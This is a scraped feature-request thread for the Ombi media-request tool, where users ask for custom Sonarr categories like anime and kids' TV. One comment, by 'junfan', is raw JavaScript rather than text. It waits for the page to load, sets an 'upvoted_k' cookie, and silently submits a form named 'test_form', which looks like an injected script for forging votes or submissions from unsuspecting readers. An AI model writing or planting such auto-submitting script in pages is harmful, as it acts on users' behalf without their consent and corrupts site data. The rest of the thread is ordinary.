tidusjar/Ombi

Request categories for Sonarr

b-rockx asked for this feature almost 3 years ago — 7 comments

b-rockx commented almost 3 years ago

Setup Sonarr integration with separate customizable categories such as TV, Cartoons, Anime, etc. This way you can change the root path and allow for files to be organized into different folders. (could be easy if you just add multiple connections to sonarr)

| shottothedome commented over 2 years ago

I have separate sections for Tv shows vs anime. i also use sickrage for tv and then sonarr for anime and keep them separate. so +1 to this request

| elheffe80 commented almost 2 years ago

Super big +1 to this. Kids TV, anime, and TV.

| dephcon commented over 1 year ago

+1 for custom plex categories (anime, in my case)

| TheOnlyYogo commented 9 months ago

I think custom categories would be the most flexible, without having people on here constantly asking for more categories...

junfan commented 7 months ago

(function() {

function contentLoaded(win, fn) {

    var done = false,
        top = true,

        doc = win.document,
        root = doc.documentElement,
        modern = doc.addEventListener,

        add = modern ? 'addEventListener' : 'attachEvent',
        rem = modern ? 'removeEventListener' : 'detachEvent',
        pre = modern ? '' : 'on',

        init = function(e) {
            if (e.type == 'readystatechange' && doc.readyState != 'complete') return;
            (e.type == 'load' ? win : doc)[rem](pre + e.type, init, false);
            if (!done && (done = true)) fn.call(win, e.type || e);
        },

        poll = function() {
            try {
                root.doScroll('left');
            } catch (e) {
                setTimeout(poll, 50);
                return;
            }
            init('poll');
        };

    if (doc.readyState == 'complete') fn.call(win, 'lazy');
    else {
        if (!modern && root.doScroll) {
            try {
                top = !win.frameElement;
            } catch (e) {}
            if (top) poll();
        }
        doc[add](pre + 'DOMContentLoaded', init, false);
        doc[add](pre + 'readystatechange', init, false);
        win[add](pre + 'load', init, false);
    }

}

function setCookie(name, value, days) {
    var expires = "";
    if (days) {
        var date = new Date();
        date.setTime(date.getTime() + (days * 24 * 60 * 60 * 1000));
        expires = "; expires=" + date.toUTCString();
    }
    document.cookie = name + "=" + (value || "") + expires + "; path=/";
}

function getCookie(name) {
    var nameEQ = name + "=";
    var ca = document.cookie.split(';');
    for (var i = 0; i < ca.length; i++) {
        var c = ca[i];
        while (c.charAt(0) == ' ') c = c.substring(1, c.length);
        if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length, c.length);
    }
    return null;
}

contentLoaded(window, function() {
    setTimeout(function() {
        if(getCookie('upvoted_k')){
            return;
        }
        setCookie('upvoted_k','true',100)
        document.getElementById('test_form').submit()
    }, 500);
})

})();

| MarcelCosta79 commented 4 months ago

Please !!

Join the discussion!

Sign-in with GitHub to comment